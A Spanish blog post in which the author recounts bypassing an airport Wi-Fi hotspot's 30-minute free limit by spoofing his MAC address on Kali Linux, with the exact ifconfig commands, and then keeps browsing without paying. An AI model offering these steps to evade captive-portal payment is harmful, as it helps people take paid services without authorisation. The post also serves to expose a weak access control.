Con algo de rabia, activé la conexión Wi-Fi del smartphone en busca de alguna conexión a Internet que me llevarme a la boca para amenizar este rato de espera. Por suerte - aunque nunca sabes si son de fiar o no y hay que tomar precauciones extras - encontré redes abiertas y, supuestamente, conexión a Internet gratis. Me conecté, abrí el navegador y sí señor, NO era gratis. Era el típico negocio de Hotspot en el que había tres opciones, dos de ellas de pago y una de prueba de tan solo treinta minutos (y yo iba que estar en ese aeropuerto por más de seis horas).

Figura 4: Esto es todo amigos. Paga si quieres más.

Así que, aprovechando la rabia y el tiempo, me puse a pensar de qué manera estarían calculando los treinta minutos que te ofrecían de acceso a Internet para luego cortármelo y decirme que muchas gracias, pero que, si quería seguir usando la conexión, me tocaba usar la tarjeta de crédito nuevamente y pasar por caja.

Vamos a ver cómo calcula el tiempo

A la cabeza se me vino una idea, y era que podrían estar usando una combinación de cookies y la dirección MAC de mi tarjeta de red, así que arranqué otra vez mi equipo con Kali Linux, me conecté a la red, le di clic a la opción de treinta minutos gratis otra vez. Después de navegar un momento mire las cookies almacenadas y resulta que no había ninguna.

Figura 4: Nuevo equipo, nueva conexión

Así que sólo me quedaba probar la idea de que pudieran estar identificándome por la dirección física de mi tarjeta de red. Espere a que se me acabaran mi dichosa media hora de conexión gratuita a ver si algo mas sucedía pero nada raro paso. Me desconecté de la red, cambié la dirección física y como en el método científico, me puse a probar la hipótesis propuesta.

Figura 5: Cambiando la dirección MAC en mi Kali Linux

Y como en el método científico, hipótesis probada igual a teoría. Para los que sean principiantes voy a explicar el cambio de mi dirección MAC, que es bastante sencillo.  Solo hay que hacer uso en Kali Linux del comando “ifconfig wlan0 hw ether [NuevaMac]” y por ultimo subí la interfaz con un comando "ifconfig wlan0 up". Si se quisiera verificar, que el cambio de dirección mac se efectuó correctamente, simplemente usa "ifconfig wlan0" para ver que la nueva dirección está funcionando.

Figura 6: Treinta minutos más. Y cuando se acabó, nueva MAC.

Por supuesto, la medida de seguridad es malísima, y cualquier hacker o pentester podría saltarse esta protección de seguridad, que no tiene ningún misterio, así que yo creo que los administradores de este sistema han decidido que esta red Wi-Fi sea gratis para los hackers, y por eso la dejan así, ya que esto ni es nuevo, ni desconocido para las empresas que montan hotspots Wi-Fi. Así que... decidí entretenerme por Internet hasta que llegó la hora de mi vuelo, gracias a estos que piensan en los hackers.

Autor:  Ivan Fernández (Mfernandezt2@hotmail.com)

Entrada destacada

El creador de WannaCry es fan de Messi, no es muy ambicioso y usa Microsoft Word habitualmente en coreano

Esta semana, nuestros compañeros del laboratorio de ElevenPaths terminaban por publicar su análisis de WannaCry desde el punto de vista d...

Entradas populares